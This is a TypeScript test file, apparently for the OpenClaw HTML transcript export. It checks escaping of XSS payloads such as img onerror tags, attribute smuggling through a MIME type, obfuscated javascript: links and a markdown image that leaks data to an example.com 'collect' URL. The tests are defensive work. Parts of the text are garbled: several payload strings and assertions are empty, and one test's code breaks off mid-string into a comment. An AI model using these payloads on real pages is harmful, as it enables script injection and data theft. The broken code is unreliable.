// Tests exported HTML transcript escaping and template safety. import { expectDefined } from "@openclaw/normalization-core"; import { describe, expect, it } from "vitest"; import { now, renderTemplate, requireElement, type SessionData, type SessionEntry, templateCss, templateHtml, } from "../../../../test/helpers/export-html-template.js"; function selectorSpecificity(selector: string): [number, number, number] { const ids = selector.match(/#[\w-]+/g)?.length ?? 0; const classes = selector.match(/\.[\w-]+/g)?.length ?? 0; const withoutIdsOrClasses = selector.replace(/#[\w-]+|\.[\w-]+/g, " "); let elements = 0; for (const part of withoutIdsOrClasses.split(/[\s>+~]+/)) { if (/^[a-z][\w-]*$/i.test(part)) { elements++; } } return [ids, classes, elements]; } function compareSpecificity(left: [number, number, number], right: [number, number, number]) { for (let index = 0; index < left.length; index += 1) { if (left[index] !== right[index]) { return expectDefined(left[index], "left[index] test invariant") - expectDefined(right[index], "right[index] test invariant"); } } return 0; } function firstSelectorForDisplay(css: string, display: string, startAt: number): string | null { const displayRule = new RegExp(`([^{}]+)\\{[^{}]*\\bdisplay\\s*:\\s*${display}\\s*;`, "g"); displayRule.lastIndex = startAt; const match = displayRule.exec(css); return match?.[1]?.split(",").at(-1)?.trim() ?? null; } describe("export html sidebar trigger affordance", () => { it("keeps the hamburger sidebar trigger accessible and visibly interactive", () => { expect(templateHtml).toContain('id="hamburger" class="sidebar-menu-trigger"'); expect(templateHtml).toContain('aria-label="Open sidebar"'); expect(templateHtml).toContain(''); expect(templateHtml).toContain(''); expect(templateHtml).toContain(''); expect(templateCss).toContain("#hamburger.sidebar-menu-trigger {"); expect(templateCss).toContain("cursor: pointer;"); expect(templateCss).toContain("#hamburger.sidebar-menu-trigger:hover {"); expect(templateCss).toContain("background: var(--container-bg);"); expect(templateCss).toContain("#hamburger.sidebar-menu-trigger:focus-visible {"); }); it("lets the mobile hamburger display rule win the CSS cascade", () => { const baseSelector = "#hamburger.sidebar-menu-trigger"; const mobileMediaIndex = templateCss.indexOf("@media (max-width: 900px)"); const mobileSelector = firstSelectorForDisplay(templateCss, "inline-flex", mobileMediaIndex); expect(mobileMediaIndex).toBeGreaterThan(templateCss.indexOf(`${baseSelector} {`)); expect(mobileSelector).toBe(baseSelector); if (!mobileSelector) { throw new Error("Missing mobile hamburger display rule"); } expect( compareSpecificity(selectorSpecificity(mobileSelector), selectorSpecificity(baseSelector)), ).toBeGreaterThanOrEqual(0); }); }); describe("export html security hardening", () => { it.each(["consult", "answer"])("honors hidden input with %s selected while preserving raw export", async (leafId) => { function message(id: string, parentId: string | null, content: string, role = "assistant") { return { id, parentId, timestamp: now(), type: "message", message: { role, content }, }; } const session: SessionData = { header: { id: "session-hidden-input", timestamp: now() }, entries: [ { id: "hidden-root", parentId: "hidden-root", timestamp: now(), type: "custom_message", customType: "context", content: "Hidden root context", display: false, }, message("speech", "hidden-root", "Explain the change. Context: Spoken style:", "user"), { id: "consult", parentId: "speech", timestamp: now(), type: "message", message: { role: "user", content: "Synthetic consultation instructions", display: false, provenance: { kind: "internal_system", sourceTool: "openclaw_agent_consult" }, }, }, message("answer", "consult", "The change is ready."), message("alternative", "speech", "An alternative reply."), message("other-root", null, "Another conversation."), ], leafId, systemPrompt: "", tools: [], }; const { document, downloadJson } = await renderTemplate(session); expect(document.querySelectorAll(".user-message")).toHaveLength(1); expect(document.getElementById("entry-speech")?.textContent).toContain( "Explain the change. Context: Spoken style:", ); expect(document.getElementById("entry-consult")).toBeNull(); expect(document.getElementById("entry-hidden-root")).toBeNull(); const treeIds = () => Array.from(document.querySelectorAll(".tree-node"), (node) => node.getAttribute("data-id")); const treePrefixes = () => Array.from(document.querySelectorAll(".tree-prefix"), (node) => node.textContent); expect(treeIds()).toEqual(["speech", "answer", "alternative", "other-root"]); expect(treePrefixes()).toEqual(["", "├─ ", "└─ ", ""]); const selectFilter = (filter: string) => requireElement( document.querySelector(`[data-filter="${filter}"]`), "filter missing", ).click(); selectFilter("all"); expect(treeIds()).toEqual([ "hidden-root", "speech", "consult", "answer", "alternative", "other-root", ]); expect(treePrefixes()).toEqual(["", " ", " ├─ ", " │ ", " └─ ", ""]); expect(document.querySelector('[data-id="consult"]')?.textContent).toContain("[hidden] user:"); requireElement(document.querySelector('[data-id="consult"]'), "hidden tree entry missing").click(); expect(document.getElementById("entry-answer")?.textContent).toContain("The change is ready."); expect(document.getElementById("entry-consult")).toBeNull(); selectFilter("user-only"); expect(treeIds()).not.toContain("consult"); selectFilter("default"); expect(treeIds()).toEqual(["speech", "answer", "alternative", "other-root"]); expect(treePrefixes()).toEqual(["", "├─ ", "└─ ", ""]); expect(document.getElementById("header-container")?.textContent).toContain("2 user, 3 assistant, 1 custom"); const encoded = requireElement(document.getElementById("session-data"), "session data missing"); expect(JSON.parse(Buffer.from(encoded.textContent ?? "", "base64").toString("utf8"))).toEqual( session, ); expect((await downloadJson()).split("\n").map((line) => JSON.parse(line))).toEqual([ { type: "header", ...session.header }, ...session.entries, ]); }); it("renders export warnings in the header without interpreting HTML", async () => { const warning = 'Backend transcript is incomplete'; const session: SessionData = { header: { id: "session-warning", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: "hello" }, }, ], leafId: "1", systemPrompt: "", tools: [], warning, }; const { document } = await renderTemplate(session); const header = requireElement( document.getElementById("header-container"), "header root missing", ); const warningNode = requireElement( header.querySelector(".export-warning"), "export warning missing", ); expect(warningNode.textContent).toBe(warning); expect(warningNode.querySelector("img[onerror]")).toBeNull(); expect(warningNode.innerHTML).toContain( 'Backend <img src=x onerror="alert(1)"> transcript is incomplete', ); }); it("renders an explicitly selected empty branch without inactive messages", async () => { const session: SessionData = { header: { id: "session-empty", timestamp: now() }, entries: [ { id: "inactive-tail", parentId: null, timestamp: now(), type: "message", message: { role: "assistant", content: "inactive history" }, }, { id: "empty-leaf", parentId: "inactive-tail", timestamp: now(), type: "leaf", targetId: null, }, ], leafId: null, hasLeafControl: true, systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const messages = requireElement(document.getElementById("messages"), "messages root missing"); expect(messages.textContent).not.toContain("inactive history"); }); it("escapes raw HTML from markdown blocks", async () => { const attack = ""; const session: SessionData = { header: { id: "session-1", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: attack }, }, { id: "2", parentId: "1", timestamp: now(), type: "branch_summary", summary: attack, }, { id: "3", parentId: "2", timestamp: now(), type: "custom_message", customType: "x", display: true, content: attack, }, ], leafId: "3", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const messages = requireElement(document.getElementById("messages"), "messages root missing"); expect(messages.querySelector("img[onerror]")).toBeNull(); expect(messages.innerHTML).toContain("<img src=x onerror=alert(1)>"); }); it("renders Markdown and TypeScript highlighting without external assets", async () => { const session: SessionData = { header: { id: "session-render", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "assistant", content: "**rendered**\n\n```typescript\nconst answer = true;\n```", }, }, ], leafId: "1", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const messages = requireElement(document.getElementById("messages"), "messages root missing"); expect(messages.querySelector("strong")?.textContent).toBe("rendered"); const code = requireElement(messages.querySelector("pre code.hljs"), "highlighted code missing"); expect(code.querySelector(".hljs-keyword")?.textContent).toBe("const"); expect(code.textContent).toContain("answer = true"); }); it.each(["user", "assistant"] as const)( "renders tight-list inline formatting in %s transcript exports", async (role) => { const inline = "**Important**: read [the guide](https://example.test/guide) and use `config.json`."; const literal = "**literal** [not a link](https://example.test/literal)"; const session: SessionData = { header: { id: "session-tight-list", timestamp: now() }, entries: [ { id: "tight-list", parentId: null, timestamp: now(), type: "message", message: { role, content: [ `Paragraph control: ${inline}`, "", `- ${inline}`, "- Plain item.", "", "`" + literal + "`", ].join("\n"), }, }, ], leafId: "tight-list", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const entry = requireElement(document.getElementById("entry-tight-list"), "entry missing"); const paragraph = requireElement(entry.querySelector("p"), "paragraph control missing"); expect(paragraph.querySelector("strong")?.textContent).toBe("Important"); expect(paragraph.querySelector("a")?.getAttribute("href")).toBe("https://example.test/guide"); expect(paragraph.querySelector("code")?.textContent).toBe("config.json"); const list = requireElement(entry.querySelector("ul"), "tight list missing"); expect(list.querySelectorAll("li")).toHaveLength(2); const item = requireElement(list.querySelector("li"), "list item missing"); expect(item.querySelector("strong")?.textContent).toBe("Important"); const link = requireElement(item.querySelector("a"), "list link missing"); expect(link.getAttribute("href")).toBe("https://example.test/guide"); expect(link.textContent).toBe("the guide"); expect(item.querySelector("code")?.textContent).toBe("config.json"); expect(item.textContent?.trim()).toBe("Important: read the guide and use config.json."); const literalParagraph = requireElement( Array.from(entry.querySelectorAll("p")).find( (candidate) => candidate.querySelector("code")?.textContent === literal, ) ?? null, "literal code control missing", ); expect(literalParagraph.textContent).toBe(literal); expect(literalParagraph.querySelector("a, strong")).toBeNull(); }, ); it("escapes tree and header metadata fields", async () => { const attack = ""; const baseEntries: SessionEntry[] = [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: "ok" }, }, { id: "2", parentId: "1", timestamp: now(), type: "message", message: { role: "assistant", model: attack, provider: "p", content: [{ type: "text", text: "assistant" }], }, }, { id: "3", parentId: "2", timestamp: now(), type: "message", message: { role: "toolResult", toolName: attack }, }, { id: "4", parentId: "3", timestamp: now(), type: "model_change", provider: "p", modelId: attack, }, { id: "5", parentId: "4", timestamp: now(), type: "thinking_level_change", thinkingLevel: attack, }, { id: "6", parentId: "5", timestamp: now(), type: attack, }, ]; const headerSession: SessionData = { header: { id: "session-2", timestamp: now() }, entries: baseEntries, leafId: "6", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(headerSession); const tree = requireElement(document.getElementById("tree-container"), "tree root missing"); const header = requireElement( document.getElementById("header-container"), "header root missing", ); expect(tree.querySelector("img[onerror]")).toBeNull(); expect(header.querySelector("img[onerror]")).toBeNull(); expect(tree.innerHTML).toContain("<img src=x onerror=alert(9)>"); expect(header.innerHTML).toContain("<img src=x onerror=alert(9)>"); const modelLeafSession: SessionData = { header: { id: "session-2-model", timestamp: now() }, entries: baseEntries, leafId: "4", systemPrompt: "", tools: [], }; const modelLeaf = (await renderTemplate(modelLeafSession)).document; expect(modelLeaf.getElementById("tree-container")?.querySelector("img[onerror]")).toBeNull(); expect(modelLeaf.getElementById("tree-container")?.innerHTML).toContain( "<img src=x onerror=alert(9)>", ); const thinkingLeafSession: SessionData = { header: { id: "session-2-thinking", timestamp: now() }, entries: baseEntries, leafId: "5", systemPrompt: "", tools: [], }; const thinkingLeaf = (await renderTemplate(thinkingLeafSession)).document; expect(thinkingLeaf.getElementById("tree-container")?.querySelector("img[onerror]")).toBeNull(); expect(thinkingLeaf.getElementById("tree-container")?.innerHTML).toContain( "<img src=x onerror=alert(9)>", ); }); it("sanitizes image MIME types used in data URLs", async () => { const session: SessionData = { header: { id: "session-3", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: [ { type: "image", data: "AAAA", mimeType: 'image/png" onerror="alert(7)', }, ], }, }, ], leafId: "1", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const img = requireElement( document.querySelector("#messages .message-image"), "message image missing", ); expect(img.getAttribute("onerror")).toBeNull(); expect(img.getAttribute("src")).toBe("data:application/octet-stream;base64,AAAA"); }); it("flattens remote markdown images but keeps data-image markdown", async () => { const dataImage = "data:image/png;base64,AAAA"; const session: SessionData = { header: { id: "session-4", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "assistant", content: [ { type: "text", text: `Leak:\n\n![exfil](https://example.com/collect?data=secret)\n\n![pixel](${dataImage})`, }, ], }, }, ], leafId: "1", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const messages = requireElement(document.getElementById("messages"), "messages root missing"); expect(messages.querySelector('img[src^="https://"]')).toBeNull(); expect(messages.textContent).toContain("exfil"); requireElement(messages.querySelector(`img[src="${dataImage}"]`), "data markdown image missing"); }); it("flattens unsafe markdown links while preserving safe links", async () => { const session: SessionData = { header: { id: "session-5", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: [ "[script](javascript:alert(1))", "[encoded](javascript:alert(2))", "[split](java script:alert(3))", "[zero-width](java​script:alert(4))", "[surrogate](java�script:alert(5))", '[safe](https://example.com/report "report")', ].join("\n"), }, }, { id: "2", parentId: "1", timestamp: now(), type: "message", message: { role: "assistant", content: [ { type: "text", text: "[data](data:text/html;base64,PGgxPnBvYzwvaDE+) [mail](mailto:test@example.com)", }, ], }, }, { id: "3", parentId: "2", timestamp: now(), type: "branch_summary", summary: "[relative](./notes.md)", }, { id: "4", parentId: "3", timestamp: now(), type: "custom_message", customType: "x", display: true, content: "[hash](#entry-1)", }, ], leafId: "4", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const messages = requireElement(document.getElementById("messages"), "messages root missing"); const hrefs = Array.from(messages.querySelectorAll("a"), (link) => link.getAttribute("href")); expect(hrefs).toEqual([ "https://example.com/report", "mailto:test@example.com", "./notes.md", "#entry-1", ]); expect(messages.querySelector("a")?.getAttribute("title")).toBe("report"); expect(messages.textContent).toContain("script"); expect(messages.textContent).toContain("encoded"); expect(messages.textContent).toContain("split"); expect(messages.textContent).toContain("zero-width"); expect(messages.textContent).toContain("surrogate"); expect(messages.textContent).toContain("data"); expect(hrefs.some((href) => href?.startsWith("javascript:") || href?.startsWith("data:"))).toBe( false, ); }); it("escapes entry.id in element id and data-entry-id attributes", async () => { const xssId = `">
tags should be injected into the DOM expect(messages.querySelectorAll("script").length).toBe(0); // No attribute breakout: onmouseover, data-x must not appear as real attributes expect(messages.querySelector("[onmouseover]")).toBeNull(); // The copy-link button must exist with the payload safely contained const copyBtn = requireElement( messages.querySelector(".copy-link-btn"), "copy-link button missing", ); // data-entry-id must be present as a proper attribute (not broken out) expect(copyBtn.hasAttribute("data-entry-id")).toBe(true); // No stray attributes from the payload expect(copyBtn.hasAttribute("data-x")).toBe(false); // The user message element must not have attribute breakout either const userMsg = requireElement( messages.querySelector(".user-message"), "user message element missing", ); expect(userMsg.getAttribute("data-x")).toBeNull(); // The element id must start with entry- (the payload is contained within) const elementId = userMsg.getAttribute("id") ?? ""; expect(elementId.startsWith("entry-")).toBe(true); }); it("truncates tree node text without splitting surrogate pairs", async () => { const emoji = "😀"; const prefix = "x".repeat(99); const session: SessionData = { header: { id: "session-surrogate-truncation", timestamp: now() }, entries: [ { id: "surrogate-user", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: `${prefix}${emoji}tail` }, }, ], leafId: "surrogate-user", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const treeText = Array.from(document.querySelectorAll(".tree-content")).find((node) => node.textContent?.includes("user:"), )?.textContent ?? ""; expect(treeText).toContain(`user: ${prefix}...`); expect(treeText).not.toContain(emoji); expect(treeText).not.toMatch( /[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(? { // IDs with characters that need HTML escaping but should round-trip correctly const specialId = `msg-with"quotes&'s`; const session: SessionData = { header: { id: "session-roundtrip", timestamp: now() }, entries: [ { id: specialId, parentId: null, timestamp: now(), type: "message", message: { role: "user", content: "test" }, }, ], leafId: specialId, systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const messages = requireElement(document.getElementById("messages"), "messages root missing"); // The copy-link button should exist const copyBtn = requireElement( messages.querySelector(".copy-link-btn"), "copy-link button missing", ); // Browser decodes HTML entities in dataset reads, so dataset.entryId // must return the RAW entry.id (not the HTML-escaped version). // This is essential for buildShareUrl() to produce the correct URL. const datasetValue = (copyBtn as HTMLElement).dataset.entryId; expect(datasetValue).toBe(specialId); // The DOM element id must also round-trip: getElementById should find it const userMsg = document.getElementById(`entry-${specialId}`); expect(userMsg).not.toBeNull(); expect(userMsg?.classList.contains("user-message")).toBe(true); }); it("escapes markdown data-image attributes", async () => { const dataImage = "data:image/png;base64,AAAA"; const session: SessionData = { header: { id: "session-6", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "assistant", content: [ { type: "text", text: `![x" onerror="alert(1)](${dataImage})`, }, ], }, }, ], leafId: "1", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const img = requireElement(document.querySelector("#messages img"), "message image missing"); expect(img.getAttribute("onerror")).toBeNull(); expect(img.getAttribute("alt")).toBe('x" onerror="alert(1)'); expect(img.getAttribute("src")).toBe(dataImage); }); it("does not crash when assistant message has non-array content", async () => { for (const content of [null, undefined, "plain string", 42]) { const session: SessionData = { header: { id: "session-malformed-assistant", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: "hello" }, }, { id: "2", parentId: "1", timestamp: now(), type: "message", message: { role: "assistant", content }, }, ], leafId: "2", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); if (typeof content === "string") { expect(document.querySelector(".assistant-message")?.textContent).toContain(content); } } }); it("renders string tool-result content", async () => { const session: SessionData = { header: { id: "session-string-tool-result", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: "run a command" }, }, { id: "2", parentId: "1", timestamp: now(), type: "message", message: { role: "assistant", content: [ { type: "toolCall", id: "call-1", name: "bash", arguments: { command: "echo legacy" }, }, ], }, }, { id: "3", parentId: "2", timestamp: now(), type: "message", message: { role: "toolResult", toolCallId: "call-1", content: "legacy output", }, }, ], leafId: "3", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); expect(document.querySelector(".tool-output")?.textContent).toContain("legacy output"); }); it("does not crash when user message has non-array non-string content", async () => { for (const content of [null, undefined, 42]) { const session: SessionData = { header: { id: "session-malformed-user", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content }, }, ], leafId: "1", systemPrompt: "", tools: [], }; await expect(renderTemplate(session)).resolves.toBeDefined(); } }); }); describe("export html tool call previews", () => { it("truncates tool previews without splitting emoji", async () => { const bashPrefix = "a".repeat(49); const genericPrefix = "b".repeat(29); const bashExecutionPrefix = "c".repeat(99); const session: SessionData = { header: { id: "session-tool-preview-emoji", timestamp: now() }, entries: [ { id: "1", parentId: null, timestamp: now(), type: "message", message: { role: "user", content: "run tools" }, }, { id: "2", parentId: "1", timestamp: now(), type: "message", message: { role: "assistant", content: [ { type: "toolCall", id: "call-bash", name: "bash", arguments: { command: `${bashPrefix}😀tail` }, }, { type: "toolCall", id: "call-custom", name: "custom", arguments: { value: `${genericPrefix}😀tail` }, }, ], }, }, { id: "3", parentId: "2", timestamp: now(), type: "message", message: { role: "toolResult", toolCallId: "call-bash", content: "bash output", }, }, { id: "4", parentId: "3", timestamp: now(), type: "message", message: { role: "toolResult", toolCallId: "call-custom", content: "custom output", }, }, { id: "5", parentId: "4", timestamp: now(), type: "message", message: { role: "bashExecution", command: `${bashExecutionPrefix}😀tail`, }, }, ], leafId: "5", systemPrompt: "", tools: [], }; const { document } = await renderTemplate(session); const previews = ["3", "4", "5"].map((id) => requireElement( document.querySelector(`.tree-node[data-id="${id}"] .tree-content`), `tool preview ${id} missing`, ).textContent, ); expect(previews).toEqual([ `[bash: ${bashPrefix}...]`, `[custom: {"value":"${genericPrefix}...]`, `[bash]: ${bashExecutionPrefix}...`, ]); }); });